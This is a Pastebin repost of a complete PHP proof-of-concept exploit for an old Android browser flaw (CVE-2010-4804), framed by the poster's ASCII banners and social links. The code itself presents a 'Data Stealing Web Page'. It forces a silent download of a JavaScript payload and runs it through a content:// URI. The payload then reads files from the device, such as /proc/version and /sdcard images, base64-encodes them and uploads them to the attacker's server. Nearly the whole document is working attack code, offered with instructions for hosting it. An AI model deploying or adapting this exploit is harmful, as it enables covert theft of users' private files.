Dr_FarFar

Android URI Multiple Information Disclosure Vulnerabilities

Sep 2nd, 2017
223
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.59 KB | None | 0 0
  1. /***
  2.      ▄▄▄▄▄▄▄▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄     ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄
  3.     ▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌   ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
  4.     ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌   ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌
  5.     ▐░▌       ▐░▌▐░▌       ▐░▌   ▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌
  6.     ▐░▌       ▐░▌▐░█▄▄▄▄▄▄▄█░▌   ▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌
  7.     ▐░▌       ▐░▌▐░░░░░░░░░░░▌   ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
  8.     ▐░▌       ▐░▌▐░█▀▀▀▀█░█▀▀    ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀█░█▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀█░█▀▀
  9.     ▐░▌       ▐░▌▐░▌     ▐░▌     ▐░▌          ▐░▌       ▐░▌▐░▌     ▐░▌  ▐░▌          ▐░▌       ▐░▌▐░▌     ▐░▌  
  10.     ▐░█▄▄▄▄▄▄▄█░▌▐░▌      ▐░▌  ▄ ▐░▌          ▐░▌       ▐░▌▐░▌      ▐░▌ ▐░▌          ▐░▌       ▐░▌▐░▌      ▐░▌
  11.     ▐░░░░░░░░░░▌ ▐░▌       ▐░▌▐░▌▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌
  12.      ▀▀▀▀▀▀▀▀▀▀   ▀         ▀  ▀  ▀            ▀         ▀  ▀         ▀  ▀            ▀         ▀  ▀         ▀
  13.  
  14.                          
  15.                                              
  16. ~~~ :xD: Have Fun. Don't Forget To Bookmark This Website :xD:
  17. ~~~ https://www.FaceBook.com/Dr.FarFar
  18. ~~~ http://www.Twitter.com/3XS0
  19.  
  20. */
  21.  
  22. ########################################################################################################################
  23.  
  24. <?php
  25. /*
  26. * Description:  Android 'content://' URI Multiple Information Disclosure Vulnerabilities
  27. * Bugtraq ID:   48256
  28. * CVE:          https://nvd.nist.gov/vuln/detail/CVE-2010-4804
  29. * Affected:     Android < 2.3.4
  30. * Author:       Thomas Cannon
  31. * Discovered:   18-Nov-2010
  32. * Advisory:     http://thomascannon.net/blog/2010/11/android-data-stealing-vulnerability/
  33. *
  34. * Filename:     poc.php
  35. * Instructions: Specify files you want to upload in filenames array. Host this php file
  36. *               on a server and visit it using the Android Browser. Some builds of Android
  37. *               may require adjustments to the script, for example when a German build was
  38. *               tested it downloaded the payload as .htm instead of .html, even though .html
  39. *               was specified.
  40. *
  41. * Tested on:    HTC Desire (UK Version) with Android 2.2
  42. */
  43.  
  44. //  List of the files on the device that we want to upload to our server
  45. $filenames = array("/proc/version","/sdcard/img.jpg");
  46.  
  47. //  Determine the full URL of this script
  48. $protocol = $_SERVER["HTTPS"] == "on" ? "https" : "http";
  49. $scripturl = $protocol."://".$_SERVER["HTTP_HOST"].$_SERVER["SCRIPT_NAME"];
  50.  
  51. //  Stage 0:  Display introduction text and a link to start the PoC.
  52. function stage0($scripturl) {
  53.   echo "<b>Android < 2.3.4</b><br>Data Stealing Web Page<br><br>Click: <a href=\"$scripturl?stage=1\">Malicious Link</a>";
  54. }
  55.  
  56. //  Stage 1:  Redirect to Stage 2 which will force a download of the HTML/JS payload, then a few seconds later redirect
  57. //            to the payload. We load the payload using a Content Provider so that the JavaScript is executed in the
  58. //            context of the local device - this is the vulnerability.
  59. function stage1($scripturl) {
  60.   echo "<body onload=\"setTimeout('window.location=\'$scripturl?stage=2\'',1000);setTimeout('window.location=\'content://com.android.htmlfileprovider/sdcard/download/poc.html\'',5000);\">";
  61. }
  62.  
  63. //  Stage 2:  Download of payload, the Android browser doesn't prompt for the download which is another vulnerability.
  64. //            The payload uses AJAX calls to read file contents and encodes as Base64, then uploads to server (Stage 3).
  65. function stage2($scripturl,$filenames) {
  66.   header("Cache-Control: public");
  67.   header("Content-Description: File Transfer");
  68.   header("Content-Disposition: attachment; filename=poc.html");
  69.   header("Content-Type: text/html");
  70.   header("Content-Transfer-Encoding: binary");
  71. ?>
  72. <html>
  73.   <body>
  74.     <script language='javascript'>
  75.       var filenames = Array('<?php echo implode("','",$filenames); ?>');
  76.       var filecontents = new Array();
  77.       function processBinary(xmlhttp) {
  78.         data = xmlhttp.responseText;    r = '';   size = data.length;
  79.         for(var i = 0; i < size; i++)   r += String.fromCharCode(data.charCodeAt(i) & 0xff);
  80.         return r;
  81.       }
  82.       function getFiles(filenames) {
  83.         for (var filename in filenames) {
  84.           filename = filenames[filename];
  85.           xhr = new XMLHttpRequest();
  86.           xhr.open('GET', filename, false);
  87.           xhr.overrideMimeType('text/plain; charset=x-user-defined');
  88.           xhr.onreadystatechange = function() { if (xhr.readyState == 4) { filecontents[filename] = btoa(processBinary(xhr)); } }
  89.           xhr.send();
  90.         }
  91.       }
  92.       function addField(form, name, value) {
  93.         var fe = document.createElement('input');
  94.         fe.setAttribute('type', 'hidden');
  95.         fe.setAttribute('name', name);
  96.         fe.setAttribute('value', value);
  97.         form.appendChild(fe);
  98.       }
  99.       function uploadFiles(filecontents) {
  100.         var form = document.createElement('form');
  101.         form.setAttribute('method', 'POST');
  102.         form.setAttribute('enctype', 'multipart/form-data');
  103.         form.setAttribute('action', '<?=$scripturl?>?stage=3');
  104.         var i = 0;
  105.         for (var filename in filecontents) {
  106.           addField(form, 'filename'+i, btoa(filename));
  107.           addField(form, 'data'+i, filecontents[filename]);
  108.           i += 1;
  109.         }
  110.         document.body.appendChild(form);
  111.         form.submit();
  112.       }
  113.       getFiles(filenames);
  114.       uploadFiles(filecontents);
  115.     </script>
  116.   </body>
  117. </html>
  118. <?php
  119. }
  120.  
  121. //  Stage 3:  Read the file names and contents sent by the payload and write to a file on the server.
  122. function stage3() {
  123.   $fp = fopen("files.txt", "w") or die("Couldn't open file for writing!");
  124.   fwrite($fp, print_r($_POST, TRUE)) or die("Couldn't write data to file!");
  125.   fclose($fp);
  126.   echo "Data uploaded to <a href=\"files.txt\">files.txt</a>!";
  127. }
  128.  
  129. //  Select the stage to run depending on the parameter passed in the URL
  130. switch($_GET["stage"]) {
  131.   case "1":
  132.     stage1($scripturl);
  133.     break;
  134.   case "2":
  135.     stage2($scripturl,$filenames);
  136.     break;
  137.   case "3":
  138.     stage3();
  139.     break;
  140.   default:
  141.     stage0($scripturl);
  142.     break;
  143. }
  144. ?>
  145.  
  146. ########################################################################################################################
  147.  
  148.         https://www.facebook.com/Dr.FarFar
  149.         http://www.Twitter.Com/3XS0
  150.  
  151.         ________         __________                __________                
  152.         ___  __ \___________  ____/______ ____________  ____/______ _________
  153.         __  / / /__  ___/__  /_    _  __ `/__  ___/__  /_    _  __ `/__  ___/
  154.         _  /_/ / _  /___ _  __/    / /_/ / _  /    _  __/    / /_/ / _  /    
  155.         /_____/  /_/ _(_)/_/       \__,_/  /_/     /_/       \__,_/  /_/    
  156.                                                                              
  157.                              ~\ Dr.FarFar /~
Advertisement
Add Comment
Please, Sign In to add comment